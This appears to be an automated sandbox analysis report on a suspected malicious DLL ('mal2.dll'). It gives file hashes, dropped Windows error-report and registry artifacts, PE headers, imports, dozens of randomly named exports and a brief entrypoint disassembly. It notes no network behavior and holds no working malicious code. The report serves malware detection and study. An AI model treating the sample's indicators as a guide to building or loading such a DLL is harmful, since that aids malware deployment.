SSDEEP:	1536:Q63A0FeV+OijAJI3zesnL+c+Nxn0zdC8JytfBLfVt5YotOWr8/OQK:X3A0FeEjssnL+c+Nxn0zdCxfBLfCjK
MD5:	B6F12D89DCD06074C15E346D0C902E31
SHA1:	13044E542E7BDE9206E9825793CF5F392E16F43D
SHA-256:	1D1EA0E145FECBFAE10B1267DF2ED6619DB413D1A0AB930E4065875FF9939DA1
SHA-512:	F2B7A31FE3A5BA908E540A5CC7F97752D386C3330A40DA992ED29C668251EFCC33D6A5A39F7A77C9D2D53E195E9ABFB3599C62B836B2AFB9F9F4BC53B3930AB2
Malicious:	false
Preview:	MDMP....... ......../.a............4...............H.......$...........................`.......8...........T...........@................................................................................................U...........B......p.......GenuineIntelW...........T..............a1............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE6BB.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8298
Entropy (8bit):	3.695238338561699
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNisA6oi6YI0SU/gmfL8GS5JCpDx89bj5sfNBm:RrlsNir6F6YLSU/gmfLrSJjSfi
MD5:	E93183C3F58E98E6C1E7DA3D5B4F4ACE
SHA1:	A380DC8E1EC24DE82245EAFAA86E036038CCB650
SHA-256:	9825CFD4238956F06D375D3065938D03A0CEEED6C4E657DE6CD2A3D1FA28FAF3
SHA-512:	6A8FEF1588000E848EE4D5DAF9B3F4BF5E7674173D660D76C679AE8E87A6650D2FF860739D8F93C284A1EFA17BD3CBD0BAAE2A87DFD21D6B607ED26E8440A5AA
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.4.5.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAD3.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4558
Entropy (8bit):	4.432755522380974
Encrypted:	false
SSDEEP:	48:cvIwSD8zs7uiJgtWI9HoSWSC8Bl8fm8M4J2yGtFmIp+q84tjNKcQIcQwQVTd:uITf7uwsozSNwJExpxNKkwQVTd
MD5:	0CCD3E2FE0BCD82AFC1EF99DC0F4B7FE
SHA1:	540B7C5A57950860C3DAB0B07F22C461C6B52EB1
SHA-256:	8AF913F7FD1C2FA96865DCC8F62FB4F94C9A32F673AB8AB2C91864911CD94E65
SHA-512:	17F8597FDC2A882CDF0D114DE481520B9D0B836DE350B743319050FA2D782ED674037CF05E655591D8ACADCC3483BBE26994C3ACA0C290E0E9E080D0553B17A0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1279420" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF3D.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6939928290108095
Encrypted:	false
SSDEEP:	96:9GiZYWcZVqGYIYyWqHbRHsUYEZojtriIZZonwrXVa1PUKxjzIQj3:9jZDyPK/la1PUKF8Qj3
MD5:	56AE4194C1BB65AD9AF492B9491A5C71
SHA1:	15B5F6602BEE253ED6D9CE5F8010BD8FFAC71029
SHA-256:	7212649472ABFBE93D55BB3A2E96A261A09CCAB292AFBB723DDD54E1C2CCAD8D
SHA-512:	1E12ADF8EABC2AEF70D8D7074ABA57BA47A0F9AFEEF3BB9105CA4ACCACA404C328625FA037093DC0555CD2C7CA051CE23560CA582F71AE01CA271C8A0BDAFFEA
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFDB.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	47834
Entropy (8bit):	3.066530967527075
Encrypted:	false
SSDEEP:	768:CaHU6UEZjoSW22BktVgDVnZnKINpg7y8kMRg8tHZ1/RiYr:CaHU6pUSW22itVgDVnZnDNpg7y8kMRgy
MD5:	CCAEEAC32B5802D28F61DC7EB35C34B6
SHA1:	22B309FDB15FE6C3A19670D7F3C60B029CD95906
SHA-256:	DB8FF87D34A276D88FD5E154A2EFEE86C440FAEDB82344B95A7D7FE6DC6A5F53
SHA-512:	0646030B04F91F7B5BFE28C6579E645FD3B70DB7215403B6559DF66CCF82B57756BE2928B58D996F6CC2160ABD21AF378466A81D19E4896F765D475F6B130F42
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	7250
Entropy (8bit):	3.166050568584806
Encrypted:	false
SSDEEP:	96:cEj+AbCEH+AbuEAc+AbhGEA+AbNEe+Ab/Ee+AbPE6w9+Ab1wTEl+AbB:cY+38+DJc+iGr+MZ+65+6tg+ECa+I
MD5:	95A18A0B546B551A9112E9FEBA266B36
SHA1:	BA13E20597440DEEA08F7EA9DE5005359510D0FF
SHA-256:	BC6DE2D0EDE221EB64960702F74D1F894897F276389FC07DC69E9033E5671555
SHA-512:	5C5B0A1E2C37559134482364E07549587E2B95FD07671E45F23AC5C45F975B89F9A1EBD40D51B5CC108E9588C82420F1F5131B5BC4766757EE6ED08A30FCD56A
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211202_022741_833.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.8177630021785336
Encrypted:	false
SSDEEP:	96:g7CTaIPo+U/5lD9S/YqVCDCI2lOfk0c4v+T2XjFz5NMCvdJRwj5DNTNMCYj5YUMd:VZg46N2gAVCLRCVCEC9CKCl
MD5:	E0D1E78802BDE82B83FD99A15EF7BABA
SHA1:	B3DC38EBD2659EFBA4CE05162C54A32E76DCE98A
SHA-256:	DF16AD69D70D465FAC34CB8F4053CA88A4438A02C8BF5535B4F7BBCF7195E661
SHA-512:	6846993E4645CD270596CA5029BBDABCDCC92E870D60F713D2FB9951DB55C4C04A03E19601FCA11AA80FA8926067E4A0C338A5B40E9C180873A3CB3D5DCD87A6
Malicious:	false
Preview:	.... ... ....................................... ...!....................................C......................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................./_8..... .....m...$...........8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.1.1.2.0.2._.0.2.2.7.4.1._.8.3.3...e.t.l.........P.P..........C.....................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.264641005685364
Encrypted:	false
SSDEEP:	12288:USVCOdRHvb/XjPUXtSa8TRl6R5Umg2VnPr4kgjEDbCOKnf4QK3DjTvZl:tVCOdRHvb/XjPUXeN0fl
MD5:	045F66989BC9205C456E041FFFC8F4ED
SHA1:	658910D42949706991D1B2456FA0A15ED51EFEE2
SHA-256:	494836BB7203B77BD212C641C1FFC4C82CA86FE0A8716604C8982D62B53FBE3A
SHA-512:	ED4A3D464C136F03D4269F9EE9EFF039C0A6EEC10936E701C940BA314A7B60ED3AE838F0C0D7F82A804F89D406D34EEB5F5EE48656C556848690DF487CEDBE1E
Malicious:	false
Preview:	regfR...R...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.W.s$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	3.0508349292287393
Encrypted:	false
SSDEEP:	192:xXiqAM1ayVRDlfYb5FSE9lMqXyQVWnxuYW2oCKqe8mxwpLuN5Z:pi5z5TXQnxuf2oCPmxwpLuN5Z
MD5:	F1B58F5B7D299D4061CA93F06CEB6B6E
SHA1:	ED84123DB60948661D8BAE7F50B35057673F4ADC
SHA-256:	E3BD54AA97BE3E68FBF0C4A185A622D67132835F785F516BCF5EA231B3E23E29
SHA-512:	FC0223155CA4449DEE6E02153E8EA25A9AE0BD287A74BEFB23209FB3DAB580BFEB96F0CA02E371994E2C67A435155AD035215F0CA3FFBFBFF88BCD2C85E1A9A6
Malicious:	false
Preview:	regfQ...Q...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.W.s$...................................................................................................................................................................................................................................................................................................................................................HvLE.>......Q...............j{L...0............................hbin................p.\..,..........nk,....s$.......@........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ....s$....... ...........P............... .......Z.......................Root........lf......Root....nk ....s$....................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.970959661903669
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mal2.dll
File size:	387072
MD5:	9efbd03d5576686dd9f0678c09abe9fc
SHA1:	0b821e78137018bbf3f9c67d3b049e33d5b36ae5
SHA256:	972f9350219dcc2df463f923ec5b559f4ab69f083da9ccbd0976c51bc19f3f5b
SHA512:	fa2def2a793d79b63cf2c808c62e031544282bc3e01f97efa47b3114c702b004d767b818764f47c120007c680274ad9327587ac235186ee6e6d7bb168a19acc9
SSDEEP:	6144:zBYrPMTsY8GR3j4fubnY6Zs/Bv6yM6aSTsfA2qL6jpXNcc6CEteuQJPIgtlpZ5L:yhmT4GbnYks/BJNWo2LjpScDEteuOIoZ
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0...Q...Q...Q..E#...Q..E#...Q..E#...Q../$...Q...$...Q...$...Q...$...Q..E#...Q...Q...Q...Q...Q../$...Q../$...Q..Rich.Q.........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1001cac1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61A73B52 [Wed Dec 1 09:07:30 2021 UTC]
TLS Callbacks:	0x1000c340
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	609402ef170a35cc0e660d7d95ac10ce

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F95B4A4F8F7h
call 00007F95B4A4FC88h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F95B4A4F7A3h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F95B4A5019Eh
pop ecx
pop ebp
ret
push ebp
mov ebp, esp
jmp 00007F95B4A4F8FFh
push dword ptr [ebp+08h]
call 00007F95B4A53C84h
pop ecx
test eax, eax
je 00007F95B4A4F901h
push dword ptr [ebp+08h]
call 00007F95B4A53D00h
pop ecx
test eax, eax
je 00007F95B4A4F8D8h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F95B4A50263h
jmp 00007F95B4A50240h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1002A08Ch]
push dword ptr [ebp+08h]
call dword ptr [1002A088h]
push C0000409h
call dword ptr [1002A040h]
push eax
call dword ptr [1002A090h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [1002A094h]
test eax, eax
je 00007F95B4A4F8F7h
push 00000002h
pop ecx
int 29h
mov dword ptr [1005E278h], eax
mov dword ptr [1005E274h], ecx
mov dword ptr [1005E270h], edx
mov dword ptr [1005E26Ch], ebx
mov dword ptr [1005E268h], esi
mov dword ptr [1005E264h], edi
mov word ptr [eax], es

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x5b590	0x614	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5bba4	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x60000	0x1bc0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5a1dc	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5a300	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5a230	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28bb4	0x28c00	False	0.53924822661	data	6.1540438823	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0x32362	0x32400	False	0.817800645211	data	7.40644078277	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5d000	0x1ba4	0x1200	False	0.287109375	data	2.60484752417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pdata	0x5f000	0x4c4	0x600	False	0.360677083333	AmigaOS bitmap font	2.17228109861	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x60000	0x1bc0	0x1c00	False	0.7880859375	data	6.62631718459	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

HeapFree, HeapReAlloc, GetProcessHeap, HeapAlloc, GetModuleHandleA, GetProcAddress, TlsGetValue, TlsSetValue, AcquireSRWLockExclusive, ReleaseSRWLockExclusive, AcquireSRWLockShared, ReleaseSRWLockShared, SetLastError, GetEnvironmentVariableW, GetLastError, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentThread, RtlCaptureContext, ReleaseMutex, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, CloseHandle, GetStdHandle, GetConsoleMode, WriteFile, WriteConsoleW, TlsAlloc, GetCommandLineW, CreateFileA, GetTickCount64, CreateFileW, SetFilePointerEx, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RaiseException, RtlUnwind, InterlockedFlushSList, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, GetFileType, GetStringTypeW, HeapSize, SetStdHandle, FlushFileBuffers, GetConsoleOutputCP, DecodePointer

USER32.dll

GetDC, ReleaseDC, GetWindowRect

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x100010a0
axamexdrqyrgb	2	0x100017b0
bhramccfbdd	3	0x10001690
bptyjtyr	4	0x10001640
bxoqrnuua	5	0x100016c0
cegjceivzmgdcffk	6	0x100014e0
cgxpyqfkocm	7	0x10001480
chjbtsnqmvl	8	0x10001540
crfsijq	9	0x10001730
empxfws	10	0x10001590
fbgcvvbrlowsjsj	11	0x10001550
fjhmprw	12	0x10001660
gfqdajfucnxrv	13	0x10001850
hcloldazhuvj	14	0x10001790
idcumrbybo	15	0x10001500
ihvpwdsfllpvrzy	16	0x10001750
iuzqizpdhxqkmf	17	0x100014c0
jaarlqsruhrwpipt	18	0x100016e0
jndshbhgxdkvvtj	19	0x10001600
jniijdleqsyajeis	20	0x10001650
jtjqgma	21	0x100016f0
kffxtbzhfgbqlu	22	0x10001630
kwxkzdhqe	23	0x100016d0
lidhnvsukgiuabh	24	0x100016b0
ltcrkednwfkup	25	0x10001820
lvrmqgtvhsegpbvmq	26	0x10001770
mxvwvnerswyylp	27	0x10001520
ndlmbjceavqdintmv	28	0x100017d0
nvnriipkwrmxwsu	29	0x10001510
oafxfavxmi	30	0x10001570
ocwutlohg	31	0x100014b0
olcklbdvo	32	0x10001680
pawvqfmiz	33	0x100015e0
pdmomnjmmryopqza	34	0x10001560
plzkvjcbz	35	0x10001710
poasqvltrkgvepng	36	0x10001840
psjoyjhsrkg	37	0x100015b0
qdimtzieldbl	38	0x10001620
qzvngjfyuxpjag	39	0x10001580
relsounb	40	0x100016a0
rykebhcisi	41	0x10001670
snrvgvzpjh	42	0x100017c0
sqnfcfmocgbg	43	0x10001740
sxgllzweihxqxi	44	0x10001760
tgagxhhcfj	45	0x10001780
thjyvtvttwpah	46	0x10001830
uvypobslemtipv	47	0x10001640
vgidwtjsbwpxkdxj	48	0x100017a0
wahhdker	49	0x100014a0
wamqmispvbxt	50	0x100015f0
witvsjavqyw	51	0x10001720
wopabadcwdizvwlgk	52	0x10001490
wpzyecljz	53	0x10001800
wukgfirfwilhu	54	0x100015d0
xntbmrrxs	55	0x100017f0
xsxwxreryufxwuhh	56	0x10001700
xvgdevijtw	57	0x10001610
ydvqidso	58	0x100015c0
yggdjrsewuw	59	0x100015a0
zaeqdmhaky	60	0x100017e0
zakvwkjnk	61	0x10001700
zqbggkzy	62	0x100014f0
zqtdpertk	63	0x100014d0
zshfybkvzv	64	0x10001810
zxxopqyvfoesyhmup	65	0x10001530

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 1456 Parent PID: 6140

General

Start time:	18:27:10
Start date:	01/12/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\mal2.dll"
Imagebase:	0x1170000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
